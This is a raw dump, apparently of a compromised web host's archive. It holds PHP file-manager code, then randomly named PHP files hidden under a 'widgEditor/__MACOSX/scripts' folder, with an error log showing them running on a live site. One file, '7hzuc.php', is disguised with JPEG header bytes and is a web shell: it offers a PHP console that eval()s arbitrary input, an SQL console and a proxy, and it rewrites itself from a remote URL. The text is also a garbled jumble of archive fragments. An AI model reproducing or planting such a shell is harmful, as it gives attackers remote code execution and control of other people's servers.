"; return; } echo "$external[$key]"; } function verifyToken($token) { if (hash_equals($_SESSION['token'], $token)) { return true; } return false; } /** * Delete file or folder (recursively) * @param string $path * @return bool */ function fm_rdelete($path) { if (is_link($path)) { return unlink($path); } elseif (is_dir($path)) { $objects = scandir($path); $ok = true; if (is_array($objects)) { foreach ($objects as $file) { if ($file != '.' and $file != '..') { if (!fm_rdelete($path . '/' . $file)) { $ok = false; } } } } return ($ok) ? rmdir($path) : false; } elseif (is_file($path)) { return unlink($path); } return false; } function fm_rchmod($path, $filemode, $dirmode) { if (is_dir($path)) { if (!chmod($path, $dirmode)) { return false; } $objects = scandir($path); if (is_array($objects)) { foreach ($objects as $file) { if ($file != '.' and $file != '..') { if (!fm_rchmod($path . '/' . $file, $filemode, $dirmode)) { return false; } } } } return true; } elseif (is_link($path)) { return true; } elseif (is_file($path)) { return chmod($path, $filemode); } return false; } function fm_is_valid_ext($filename) { $allowed = (FM_FILE_EXTENSION) ? explode(',', FM_FILE_EXTENSION) : false; $ext = pathinfo($filename, PATHINFO_EXTENSION); $isFileAllowed = ($allowed) ? in_array($ext, $allowed) : true; return ($isFileAllowed) ? true : false; } function fm_rename($old, $new) { $isFileAllowed = fm_is_valid_ext($new); if(!is_dir($old)) { if (!$isFileAllowed) return false; } return (!file_exists($new) and file_exists($old)) ? rename($old, $new) : null; } function fm_rcopy($path, $dest, $upd = true, $force = true) { if (is_dir($path)) { if (!fm_mkdir($dest, $force)) { return false; } $objects = scandir($path); $ok = true; if (is_array($objects)) { foreach ($objects as $file) { if ($file != '.' and $file != '..') { if (!fm_rcopy($path . '/' . $file, $dest . '/' . $file)) { $ok = false; } } } } return $ok; } elseif (is_file($path)) { return fm_copy($path, $dest, $upd); } return false; } function fm_mkdir($dir, $force) { if (file_exists($dir)) { if (is_dir($dir)) { return $dir; } elseif (!$force) { return false; } unlink($dir); } return mkdir($dir, 0777, true); } function fm_copy($f1, $f2, $upd) { $time1 = filemtime($f1); if (file_exists($f2)) { $time2 = filemtime($f2); if ($time2 >= $time1 and $upd) { return false; } } $ok = copy($f1, $f2); if ($ok) { touch($f2, $time1); } return $ok; } function fm_get_mime_type($file_path) { if (function_exists('finfo_open')) { $finfo = finfo_open(FILEINFO_MIME_TYPE); $mime = finfo_file($finfo, $file_path); finfo_close($finfo); return $mime; } elseif (function_exists('mime_content_type')) { return mime_content_type($file_path); } elseif (!stristr(ini_get('disable_functions'), 'shell_exec')) { $file = escapeshellarg($file_path); $mime = shell_exec('file -bi ' . $file); return $mime; } else { return '--'; } } function fm_redirect($url, $code = 302) { header('Location: ' . $url, true, $code); exit; } function get_absolute_path($path) { $path = str_replace(array('/', '\\'), DIRECTORY_SEPARATOR, $path); $parts = array_filter(explode(DIRECTORY_SEPARATOR, $path), 'strlen'); $absolutes = array(); foreach ($parts as $part) { if ('.' == $part) continue; if ('..' == $part) { array_pop($absolutes); } else { $absolutes[] = $part; } } return implode(DIRECTORY_SEPARATOR, $absolutes); } function fm_clean_path($path, $trim = true) { $path = $trim ? trim($path) : $path; $path = trim($path, '\\/'); $path = str_replace(array('../', '..\\'), '', $path); $path = get_absolute_path($path); if ($path == '..') { $path = ''; } return str_replace('\\', '/', $path); } function fm_get_parent_path($path) { $path = fm_clean_path($path); if ($path != '') { $array = explode('/', $path); if (count($array) > 1) { $array = array_slice($array, 0, -1); return implode('/', $array); } return ''; } return false; } function fm_get_display_path($file_path) { global $path_display_mode, $root_path, $root_url; switch ($path_display_mode) { case 'relative': return array( 'label' => 'Path', 'path' => fanco(fm_convert_win(str_replace($root_path, '', $file_path))) ); case 'host': $relative_path = str_replace($root_path, '', $file_path); return array( 'label' => 'Host Path', 'path' => fanco(fm_convert_win('/' . $root_url . '/' . ltrim(str_replace('\\', '/', $relative_path), '/'))) ); case 'full': default: return array( 'label' => 'Full Path', 'path' => fanco(fm_convert_win($file_path)) ); } } function fm_is_exclude_items($file) { $ext = strtolower(pathinfo($file, PATHINFO_EXTENSION)); if (isset($exclude_items) and sizeof($exclude_items)) { unset($exclude_items); } $exclude_items = FM_EXCLUDE_ITEMS; if (version_compare(PHP_VERSION, '7.0.0', '<')) { $exclude_items = unserialize($exclude_items); } if (!in_array($file, $exclude_items) and !in_array("*.$ext", $exclude_items)) { return true; } return false; } function fm_get_translations($tr) { try { $content = @file_get_contents('translation.json'); if($content !== FALSE) { $lng = json_decode($content, TRUE); global $lang_list; foreach ($lng["language"] as $key => $value) { $code = $value["code"]; $lang_list[$code] = $value["name"]; if ($tr) $tr[$code] = $value["translation"]; } return $tr; } } catch (Exception $e) { echo $e; } } function fm_get_size($file) { static $iswin; static $isdarwin; if (!isset($iswin)) { $iswin = (strtoupper(substr(PHP_OS, 0, 3)) == 'WIN'); } if (!isset($isdarwin)) { $isdarwin = (strtoupper(substr(PHP_OS, 0)) == "DARWIN"); } static $exec_works; if (!isset($exec_works)) { $exec_works = (function_exists('exec') and !ini_get('safe_mode') and @exec('echo EXEC') == 'EXEC'); } // try a shell command if ($exec_works) { $arg = escapeshellarg($file); $cmd = ($iswin) ? "for %F in (\"$file\") do @echo %~zF" : ($isdarwin ? "stat -f%z $arg" : "stat -c%s $arg"); @exec($cmd, $output); if (is_array($output) and ctype_digit($size = trim(implode("\n", $output)))) { return $size; } } // try the Windows COM interface if ($iswin and class_exists("COM")) { try { $fsobj = new COM('Scripting.FileSystemObject'); $f = $fsobj->GetFile( realpath($file) ); $size = $f->Size; } catch (Exception $e) { $size = null; } if (ctype_digit($size)) { return $size; } } // if all else fails return filesize($file); } function fm_get_filesize($size) { $size = (float) $size; $units = array('B', 'KB', 'MB', 'GB', 'TB', 'PB', 'EB', 'ZB', 'YB'); $power = ($size > 0) ? floor(log($size, 1024)) : 0; $power = ($power > (count($units) - 1)) ? (count($units) - 1) : $power; return sprintf('%s %s', round($size / pow(1024, $power), 2), $units[$power]); } function fm_get_directorysize($directory) { $bytes = 0; $directory = realpath($directory); if ($directory !== false and $directory != '' and file_exists($directory)){ foreach(new RecursiveIteratorIterator(new RecursiveDirectoryIterator($directory, FilesystemIterator::SKIP_DOTS)) as $file){ $bytes += $file->getSize(); } } return $bytes; } function fm_get_zif_info($path, $ext) { if ($ext == 'zip' and function_exists('zip_open')) { $arch = @zip_open($path); if ($arch) { $filenames = array(); while ($zip_entry = @zip_read($arch)) { $zip_name = @zip_entry_name($zip_entry); $zip_folder = substr($zip_name, -1) == '/'; $filenames[] = array( 'name' => $zip_name, 'filesize' => @zip_entry_filesize($zip_entry), 'compressed_size' => @zip_entry_compressedsize($zip_entry), 'folder' => $zip_folder ); } @zip_close($arch); return $filenames; } } elseif($ext == 'tar' and class_exists('PharData')) { $archive = new PharData($path); $filenames = array(); foreach(new RecursiveIteratorIterator($archive) as $file) { $parent_info = $file->getPathInfo(); $zip_name = str_replace("phar://".$path, '', $file->getPathName()); $zip_name = substr($zip_name, ($pos = strpos($zip_name, '/')) !== false ? $pos + 1 : 0); $zip_folder = $parent_info->getFileName(); $zip_info = new SplFileInfo($file); $filenames[] = array( 'name' => $zip_name, 'filesize' => $zip_info->getSize(), 'compressed_size' => $file->getCompressedSize(), 'folder' => $zip_folder ); } return $filenames; } return false; } function fanco($text) { return htmlspecialchars($text, ENT_QUOTES, 'UTF-8'); } function fm_isvalid_filename($text) { return (strpbrk($text, '/?%*:|"<>') === FALSE) ? true : false; } function fm_set_msg($msg, $status = 'ok') { $_SESSION[DN_CESSION_ID]['message'] = $msg; $_SESSION[DN_CESSION_ID]['status'] = $status; } function fm_is_utf8($string) { return preg_match('//u', $string); } function fm_convert_win($filename) { if (FM_IS_WIN and function_exists('iconv')) { $filename = iconv(FM_ICONV_INPUT_ENC, 'UTF-8//IGNORE', $filename); } return $filename; } function fm_object_to_array($obj) { if (!is_object($obj) and !is_array($obj)) { return $obj; } if (is_object($obj)) { $obj = get_object_vars($obj); } return array_map('fm_object_to_array', $obj); } function fm_get_file_icon_class($path) { // get extension $ext = strtolower(pathinfo($path, PATHINFO_EXTENSION)); switch ($ext) { case 'ico': case 'gif': case 'jpg': case 'jpeg': case 'jpc': case 'jp2': case 'jpx': case 'xbm': case 'wbmp': case 'png': case 'bmp': case 'tif': case 'tiff': case 'webp': case 'avif': case 'svg': $img = 'fa fa-picture-o'; break; case 'passwd': case 'ftpquota': case 'sql': case 'js': case 'ts': case 'jsx': case 'tsx': case 'hbs': case 'json': case 'sh': case 'config': case 'twig': case 'tpl': case 'md': case 'gitignore': case 'c': case 'cpp': case 'cs': case 'py': case 'rs': case 'map': case 'lock': case 'dtd': $img = 'fa fa-file-code-o'; break; case 'txt': case 'ini': case 'conf': case 'log': case 'htaccess': case 'yaml': case 'yml': case 'toml': case 'tmp': case 'top': case 'bot': case 'dat': case 'bak': case 'htpasswd': case 'pl': $img = 'fa fa-file-text-o'; break; case 'css': case 'less': case 'sass': case 'scss': $img = 'fa fa-css3'; break; case 'bz2': case 'tbz2': case 'tbz': case 'zip': case 'rar': case 'gz': case 'tgz': case 'tar': case '7z': case 'xz': case 'txz': case 'zst': case 'tzst': $img = 'fa fa-file-archive-o'; break; case 'php': case 'php4': case 'php5': case 'phps': case 'phtml': $img = 'fa fa-code'; break; case 'htm': case 'html': case 'shtml': case 'xhtml': $img = 'fa fa-html5'; break; case 'xml': case 'xsl': $img = 'fa fa-file-excel-o'; break; case 'wav': case 'mp3': case 'mp2': case 'm4a': case 'aac': case 'ogg': case 'oga': case 'wma': case 'mka': case 'flac': case 'ac3': case 'tds': $img = 'fa fa-music'; break; case 'm3u': case 'm3u8': case 'pls': case 'cue': case 'xspf': $img = 'fa fa-headphones'; break; case 'avi': case 'mpg': case 'mpeg': case 'mp4': case 'm4v': case 'flv': case 'f4v': case 'ogm': case 'ogv': case 'mov': case 'mkv': case '3gp': case 'asf': case 'wmv': case 'webm': $img = 'fa fa-file-video-o'; break; case 'eml': case 'msg': $img = 'fa fa-envelope-o'; break; case 'xls': case 'xlsx': case 'ods': $img = 'fa fa-file-excel-o'; break; case 'csv': $img = 'fa fa-file-text-o'; break; case 'bak': case 'swp': $img = 'fa fa-clipboard'; break; case 'doc': case 'docx': case 'odt': $img = 'fa fa-file-word-o'; break; case 'ppt': case 'pptx': $img = 'fa fa-file-powerpoint-o'; break; case 'ttf': case 'ttc': case 'otf': case 'woff': case 'woff2': case 'eot': case 'fon': $img = 'fa fa-font'; break; case 'pdf': $img = 'fa fa-file-pdf-o'; break; case 'psd': case 'ai': case 'eps': case 'fla': case 'swf': $img = 'fa fa-file-image-o'; break; case 'exe': case 'msi': $img = 'fa fa-file-o'; break; case 'bat': $img = 'fa fa-terminal'; break; default: $img = 'fa fa-info-circle'; } return $img; } function fm_get_image_exts() { return array('ico', 'gif', 'jpg', 'jpeg', 'jpc', 'jp2', 'jpx', 'xbm', 'wbmp', 'png', 'bmp', 'tif', 'tiff', 'psd', 'svg', 'webp', 'avif'); } function fm_get_video_exts() { return array('avi', 'webm', 'wmv', 'mp4', 'm4v', 'ogm', 'ogv', 'mov', 'mkv'); } function fm_get_audio_exts() { return array('wav', 'mp3', 'ogg', 'm4a'); } function fm_get_text_exts() { return array( 'txt', 'css', 'ini', 'conf', 'log', 'htaccess', 'passwd', 'ftpquota', 'sql', 'js', 'ts', 'jsx', 'tsx', 'mjs', 'json', 'sh', 'config', 'php', 'php4', 'php5', 'phps', 'phtml', 'htm', 'html', 'shtml', 'xhtml', 'xml', 'xsl', 'm3u', 'm3u8', 'pls', 'cue', 'bash', 'vue', 'eml', 'msg', 'csv', 'bat', 'twig', 'tpl', 'md', 'gitignore', 'less', 'sass', 'scss', 'c', 'cpp', 'cs', 'py', 'go', 'zsh', 'swift', 'map', 'lock', 'dtd', 'svg', 'asp', 'aspx', 'asx', 'asmx', 'ashx', 'jsp', 'jspx', 'cgi', 'dockerfile', 'ruby', 'yml', 'yaml', 'toml', 'vhost', 'scpt', 'applescript', 'csx', 'cshtml', 'c++', 'coffee', 'cfm', 'rb', 'graphql', 'mustache', 'jinja', 'http', 'handlebars', 'java', 'es', 'es6', 'markdown', 'wiki', 'tmp', 'top', 'bot', 'dat', 'bak', 'htpasswd', 'pl' ); } function fm_get_text_mimes() { return array( 'application/xml', 'application/javascript', 'application/x-javascript', 'image/svg+xml', 'message/rfc822', 'application/json', ); } function fm_get_text_names() { return array( 'license', 'readme', 'authors', 'contributors', 'changelog', ); } function fm_get_onlineViewer_exts() { return array('doc', 'docx', 'xls', 'xlsx', 'pdf', 'ppt', 'pptx', 'ai', 'psd', 'dxf', 'xps', 'rar', 'odt', 'ods'); } function fm_get_file_mimes($extension) { $fileTypes['swf'] = 'application/x-shockwave-flash'; $fileTypes['pdf'] = 'application/pdf'; $fileTypes['exe'] = 'application/octet-stream'; $fileTypes['zip'] = 'application/zip'; $fileTypes['doc'] = 'application/msword'; $fileTypes['xls'] = 'application/vnd.ms-excel'; $fileTypes['ppt'] = 'application/vnd.ms-powerpoint'; $fileTypes['gif'] = 'image/gif'; $fileTypes['png'] = 'image/png'; $fileTypes['jpeg'] = 'image/jpg'; $fileTypes['jpg'] = 'image/jpg'; $fileTypes['webp'] = 'image/webp'; $fileTypes['avif'] = 'image/avif'; $fileTypes['rar'] = 'application/rar'; $fileTypes['ra'] = 'audio/x-pn-realaudio'; $fileTypes['ram'] = 'audio/x-pn-realaudio'; $fileTypes['ogg'] = 'audio/x-pn-realaudio'; $fileTypes['wav'] = 'video/x-msvideo'; $fileTypes['wmv'] = 'video/x-msvideo'; $fileTypes['avi'] = 'video/x-msvideo'; $fileTypes['asf'] = 'video/x-msvideo'; $fileTypes['divx'] = 'video/x-msvideo'; $fileTypes['mp3'] = 'audio/mpeg'; $fileTypes['mp4'] = 'audio/mpeg'; $fileTypes['mpeg'] = 'video/mpeg'; $fileTypes['mpg'] = 'video/mpeg'; $fileTypes['mpe'] = 'video/mpeg'; $fileTypes['mov'] = 'video/quicktime'; $fileTypes['swf'] = 'video/quicktime'; $fileTypes['3gp'] = 'video/quicktime'; $fileTypes['m4a'] = 'video/quicktime'; $fileTypes['aac'] = 'video/quicktime'; $fileTypes['m3u'] = 'video/quicktime'; $fileTypes['php'] = ['application/x-php']; $fileTypes['html'] = ['text/html']; $fileTypes['txt'] = ['text/plain']; //Unknown mime-types should be 'application/octet-stream' if(empty($fileTypes[$extension])) { $fileTypes[$extension] = ['application/octet-stream']; } return $fileTypes[$extension]; } function scan($dir = '', $filter = '') { $path = FM_ROOT_PATH.'/'.$dir; if($path) { $ite = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($path)); $rii = new RegexIterator($ite, "/(" . $filter . ")/i"); $files = array(); foreach ($rii as $file) { if (!$file->isDir()) { $fileName = $file->getFilename(); $location = str_replace(FM_ROOT_PATH, '', $file->getPath()); $files[] = array( "name" => $fileName, "type" => "file", "path" => $location, ); } } return $files; } } function fm_download_file($fileLocation, $fileName, $chunkSize = 1024) { if (connection_status() != 0) return (false); $extension = pathinfo($fileName, PATHINFO_EXTENSION); $contentType = fm_get_file_mimes($extension); if(is_array($contentType)) { $contentType = implode(' ', $contentType); } $size = filesize($fileLocation); if ($size == 0) { fm_set_msg(lng('Zero byte file! Aborting download'), 'error'); $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); return (false); } @ini_set('magic_quotes_runtime', 0); $fp = fopen("$fileLocation", "rb"); if ($fp === false) { fm_set_msg(lng('Cannot open file! Aborting download'), 'error'); $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); return (false); } // headers header('Content-Description: File Transfer'); header('Expires: 0'); header('Cache-Control: must-revalidate, post-check=0, pre-check=0'); header('Pragma: public'); header("Content-Transfer-Encoding: binary"); header("Content-Type: $contentType"); $contentDisposition = 'attachment'; if (strstr($_SERVER['HTTP_USER_AGENT'], "MSIE")) { $fileName = preg_replace('/\./', '%2e', $fileName, substr_count($fileName, '.') - 1); header("Content-Disposition: $contentDisposition;filename=\"$fileName\""); } else { header("Content-Disposition: $contentDisposition;filename=\"$fileName\""); } header("Accept-Ranges: bytes"); $range = 0; if (isset($_SERVER['HTTP_RANGE'])) { list($a, $range) = explode("=", $_SERVER['HTTP_RANGE']); str_replace($range, "-", $range); $size2 = $size - 1; $new_length = $size - $range; header("HTTP/1.1 206 Partial Content"); header("Content-Length: $new_length"); header("Content-Range: bytes $range$size2/$size"); } else { $size2 = $size - 1; header("Content-Range: bytes 0-$size2/$size"); header("Content-Length: " . $size); } $fileLocation = realpath($fileLocation); while (ob_get_level()) ob_end_clean(); readfile($fileLocation); fclose($fp); return ((connection_status() == 0) and !connection_aborted()); } function fm_get_theme() { $result = ''; if(FM_THEME == "dark") { $result = "text-white bg-dark"; } return $result; } class FM_Zipper { private $zip; public function __construct() { $this->zip = new ZipArchive(); } public function create($filename, $files) { $res = $this->zip->open($filename, ZipArchive::CREATE); if ($res !== true) { return false; } if (is_array($files)) { foreach ($files as $f) { $f = fm_clean_path($f); if (!$this->addFileOrDir($f)) { $this->zip->close(); return false; } } $this->zip->close(); return true; } else { if ($this->addFileOrDir($files)) { $this->zip->close(); return true; } return false; } } public function unzip($filename, $path) { $res = $this->zip->open($filename); if ($res !== true) { return false; } if ($this->zip->extractTo($path)) { $this->zip->close(); return true; } return false; } private function addFileOrDir($filename) { if (is_file($filename)) { return $this->zip->addFile($filename); } elseif (is_dir($filename)) { return $this->addDir($filename); } return false; } private function addDir($path) { if (!$this->zip->addEmptyDir($path)) { return false; } $objects = scandir($path); if (is_array($objects)) { foreach ($objects as $file) { if ($file != '.' and $file != '..') { if (is_dir($path . '/' . $file)) { if (!$this->addDir($path . '/' . $file)) { return false; } } elseif (is_file($path . '/' . $file)) { if (!$this->zip->addFile($path . '/' . $file)) { return false; } } } } return true; } return false; } } class FM_Zipper_Tar { private $tar; public function __construct() { $this->tar = null; } public function create($filename, $files) { $this->tar = new PharData($filename); if (is_array($files)) { foreach ($files as $f) { $f = fm_clean_path($f); if (!$this->addFileOrDir($f)) { return false; } } return true; } else { if ($this->addFileOrDir($files)) { return true; } return false; } } public function unzip($filename, $path) { $res = $this->tar->open($filename); if ($res !== true) { return false; } if ($this->tar->extractTo($path)) { return true; } return false; } /** * Add file/folder to archive * @param string $filename * @return bool */ private function addFileOrDir($filename) { if (is_file($filename)) { try { $this->tar->addFile($filename); return true; } catch (Exception $e) { return false; } } elseif (is_dir($filename)) { return $this->addDir($filename); } return false; } private function addDir($path) { $objects = scandir($path); if (is_array($objects)) { foreach ($objects as $file) { if ($file != '.' and $file != '..') { if (is_dir($path . '/' . $file)) { if (!$this->addDir($path . '/' . $file)) { return false; } } elseif (is_file($path . '/' . $file)) { try { $this->tar->addFile($path . '/' . $file); } catch (Exception $e) { return false; } } } } return true; } return false; } } class FM_Config { var $data; function __construct() { global $root_path, $root_url, $CONFIG; $fm_url = $root_url.$_SERVER["PHP_SELF"]; $this->data = array( 'lang' => 'en', 'error_reporting' => true, 'show_hidden' => true ); $data = false; if (strlen($CONFIG)) { $data = fm_object_to_array(json_decode($CONFIG)); } else { $msg = 'chemmy
Error: Cannot load configuration'; if (substr($fm_url, -1) == '/') { $fm_url = rtrim($fm_url, '/'); $msg .= '
'; $msg .= '
Seems like you have a trailing slash on the URL.'; $msg .= '
Try this link: ' . $fm_url . ''; } die($msg); } if (is_array($data) and count($data)) $this->data = $data; else $this->save(); } function save() { $fm_file = __FILE__; $var_name = '$CONFIG'; $var_value = var_export(json_encode($this->data), true); $config_string = " ' . $_SESSION[DN_CESSION_ID]['message'] . '

'; unset($_SESSION[DN_CESSION_ID]['message']); unset($_SESSION[DN_CESSION_ID]['status']); } } function fm_show_header_login() { $sprites_ver = '20160315'; header("Content-Type: text/html; charset=utf-8"); header("Expires: Sat, 26 Jul 1997 05:00:00 GMT"); header("Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0"); header("Pragma: no-cache"); global $lang, $root_url, $favicon_path; ?> '; } ?> <?php echo fanco(APP_TITLE) ?> ">
'; } ?> <?php echo fanco(APP_TITLE) ?> ">
widgEditor/__MACOSX/scripts/._widgEditor.js000064400000000122151026170410014470 0ustar00 2 RTEXTwidgEditor/__MACOSX/scripts/ol5vr3/ac1sn.php000064400000025712151026170410014500 0ustar00widgEditor/__MACOSX/scripts/qo9k5i/error_log000064400000001276151026170410014665 0ustar00[27-Oct-2025 03:45:39 UTC] PHP Notice: Undefined variable: authorization in /home/gettoplisting/public_html/dd7e5a/functionalityRee/widgEditor/__MACOSX/scripts/qo9k5i/7hzuc.php on line 40 [27-Oct-2025 03:45:39 UTC] PHP Notice: Undefined variable: translation in /home/gettoplisting/public_html/dd7e5a/functionalityRee/widgEditor/__MACOSX/scripts/qo9k5i/7hzuc.php on line 101 [27-Oct-2025 03:45:39 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/en.json): failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found in /home/gettoplisting/public_html/dd7e5a/functionalityRee/widgEditor/__MACOSX/scripts/qo9k5i/7hzuc.php on line 103 widgEditor/__MACOSX/scripts/qo9k5i/7hzuc.php000064400000233561151026170410014525 0ustar00ÿØÿà JFIF    ÿÛ C    !"$"$ÿÛ C  ÿÀ  ° ÿÄ     ÿÄ µ  } !1AQa "q2‘¡#B±ÁRÑð$3br‚ %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyzƒ„…†‡ˆ‰Š’“”•–—˜™š¢£¤¥¦§¨©ª²³´µ¶·¸¹ºÂÃÄÅÆÇÈÉÊÒÓÔÕÖרÙÚáâãäåæçèéêñòóôõö÷øùúÿÄ     ÿÄ µ   w !1AQ aq"2B‘¡±Á #3RðbrÑ $4á%ñ&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz‚ƒ„…†‡ˆ‰Š’“”•–—˜™š¢£¤¥¦§¨©ª²³´µ¶·¸¹ºÂÃÄÅÆÇÈÉÊÒÓÔÕÖרÙÚâãäåæçèéêòóôõö÷øùúÿÚ   ? ȏN true, 'new_file' => true, 'upload_file' => true, 'show_dir_size' => false, //if true, show directory size → maybe slow 'show_img' => true, 'show_php_ver' => true, 'show_php_ini' => false, // show path to current php.ini 'show_gt' => true, // show generation time 'enable_php_console' => true, 'enable_sql_console' => true, 'sql_server' => 'localhost', 'sql_username' => 'root', 'sql_password' => '', 'sql_db' => 'test_base', 'enable_proxy' => true, 'show_phpinfo' => true, 'show_xls' => true, 'fm_settings' => true, 'restore_time' => true, 'fm_restore_time' => false, ); if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config; else $fm_config = unserialize($_COOKIE['fm_config']); // Change language if (isset($_POST['fm_lang'])) { setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization'])); $_COOKIE['fm_lang'] = $_POST['fm_lang']; } $language = $default_language; // Detect browser language if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){ $lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']); if (!empty($lang_priority)){ foreach ($lang_priority as $lang_arr){ $lng = explode(';', $lang_arr); $lng = $lng[0]; if(in_array($lng,$langs)){ $language = $lng; break; } } } } // Cookie language is primary for ever $language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang']; // Localization $lang = json_decode($translation,true); if ($lang['id']!=$language) { $get_lang = file_get_contents('https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/' . $language . '.json'); if (!empty($get_lang)) { //remove unnecessary characters $translation_string = str_replace("'",''',json_encode(json_decode($get_lang),JSON_UNESCAPED_UNICODE)); $fgc = file_get_contents(__FILE__); $search = preg_match('#translation[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches); if (!empty($matches[1])) { $filemtime = filemtime(__FILE__); $replace = str_replace('{"'.$matches[1].'"}',$translation_string,$fgc); if (file_put_contents(__FILE__, $replace)) { $msg .= __('File updated'); } else $msg .= __('Error occurred'); if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime); } $lang = json_decode($translation_string,true); } } /* Functions */ //translation function __($text){ global $lang; if (isset($lang[$text])) return $lang[$text]; else return $text; }; //delete files and dirs recursively function fm_del_files($file, $recursive = false) { if($recursive && @is_dir($file)) { $els = fm_scan_dir($file, '', '', true); foreach ($els as $el) { if($el != '.' && $el != '..'){ fm_del_files($file . '/' . $el, true); } } } if(@is_dir($file)) { return rmdir($file); } else { return @unlink($file); } } //file perms function fm_rights_string($file, $if = false){ $perms = fileperms($file); $info = ''; if(!$if){ if (($perms & 0xC000) == 0xC000) { //Socket $info = 's'; } elseif (($perms & 0xA000) == 0xA000) { //Symbolic Link $info = 'l'; } elseif (($perms & 0x8000) == 0x8000) { //Regular $info = '-'; } elseif (($perms & 0x6000) == 0x6000) { //Block special $info = 'b'; } elseif (($perms & 0x4000) == 0x4000) { //Directory $info = 'd'; } elseif (($perms & 0x2000) == 0x2000) { //Character special $info = 'c'; } elseif (($perms & 0x1000) == 0x1000) { //FIFO pipe $info = 'p'; } else { //Unknown $info = 'u'; } } //Owner $info .= (($perms & 0x0100) ? 'r' : '-'); $info .= (($perms & 0x0080) ? 'w' : '-'); $info .= (($perms & 0x0040) ? (($perms & 0x0800) ? 's' : 'x' ) : (($perms & 0x0800) ? 'S' : '-')); //Group $info .= (($perms & 0x0020) ? 'r' : '-'); $info .= (($perms & 0x0010) ? 'w' : '-'); $info .= (($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x' ) : (($perms & 0x0400) ? 'S' : '-')); //World $info .= (($perms & 0x0004) ? 'r' : '-'); $info .= (($perms & 0x0002) ? 'w' : '-'); $info .= (($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x' ) : (($perms & 0x0200) ? 'T' : '-')); return $info; } function fm_convert_rights($mode) { $mode = str_pad($mode,9,'-'); $trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1'); $mode = strtr($mode,$trans); $newmode = '0'; $owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; $group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; $world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; $newmode .= $owner . $group . $world; return intval($newmode, 8); } function fm_chmod($file, $val, $rec = false) { $res = @chmod(realpath($file), $val); if(@is_dir($file) && $rec){ $els = fm_scan_dir($file); foreach ($els as $el) { $res = $res && fm_chmod($file . '/' . $el, $val, true); } } return $res; } //load files function fm_download($file_name) { if (!empty($file_name)) { if (file_exists($file_name)) { header("Content-Disposition: attachment; filename=" . basename($file_name)); header("Content-Type: application/force-download"); header("Content-Type: application/octet-stream"); header("Content-Type: application/download"); header("Content-Description: File Transfer"); header("Content-Length: " . filesize($file_name)); flush(); // this doesn't really matter. $fp = fopen($file_name, "r"); while (!feof($fp)) { echo fread($fp, 65536); flush(); // this is essential for large downloads } fclose($fp); die(); } else { header('HTTP/1.0 404 Not Found', true, 404); header('Status: 404 Not Found'); die(); } } } //show folder size function fm_dir_size($f,$format=true) { if($format) { $size=fm_dir_size($f,false); if($size<=1024) return $size.' bytes'; elseif($size<=1024*1024) return round($size/(1024),2).' Kb'; elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).' Mb'; elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).' Gb'; elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).' Tb'; //:))) else return round($size/(1024*1024*1024*1024*1024),2).' Pb'; // ;-) } else { if(is_file($f)) return filesize($f); $size=0; $dh=opendir($f); while(($file=readdir($dh))!==false) { if($file=='.' || $file=='..') continue; if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file); else $size+=fm_dir_size($f.'/'.$file,false); } closedir($dh); return $size+filesize($f); } } //scan directory function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) { $dir = $ndir = array(); if(!empty($exp)){ $exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/'; } if(!empty($type) && $type !== 'all'){ $func = 'is_' . $type; } if(@is_dir($directory)){ $fh = opendir($directory); while (false !== ($filename = readdir($fh))) { if(substr($filename, 0, 1) != '.' || $do_not_filter) { if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){ $dir[] = $filename; } } } closedir($fh); natsort($dir); } return $dir; } function fm_link($get,$link,$name,$title='') { if (empty($title)) $title=$name.' '.basename($link); return '  '.$name.''; } function fm_arr_to_option($arr,$n,$sel=''){ foreach($arr as $v){ $b=$v[$n]; $res.=''; } return $res; } function fm_lang_form ($current='en'){ return '
'; } function fm_root($dirname){ return ($dirname=='.' OR $dirname=='..'); } function fm_php($string){ $display_errors=ini_get('display_errors'); ini_set('display_errors', '1'); ob_start(); eval(trim($string)); $text = ob_get_contents(); ob_end_clean(); ini_set('display_errors', $display_errors); return $text; } //SHOW DATABASES function fm_sql_connect(){ global $fm_config; return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']); } function fm_sql($query){ global $fm_config; $query=trim($query); ob_start(); $connection = fm_sql_connect(); if ($connection->connect_error) { ob_end_clean(); return $connection->connect_error; } $connection->set_charset('utf8'); $queried = mysqli_query($connection,$query); if ($queried===false) { ob_end_clean(); return mysqli_error($connection); } else { if(!empty($queried)){ while($row = mysqli_fetch_assoc($queried)) { $query_result[]= $row; } } $vdump=empty($query_result)?'':var_export($query_result,true); ob_end_clean(); $connection->close(); return '
'.stripslashes($vdump).'
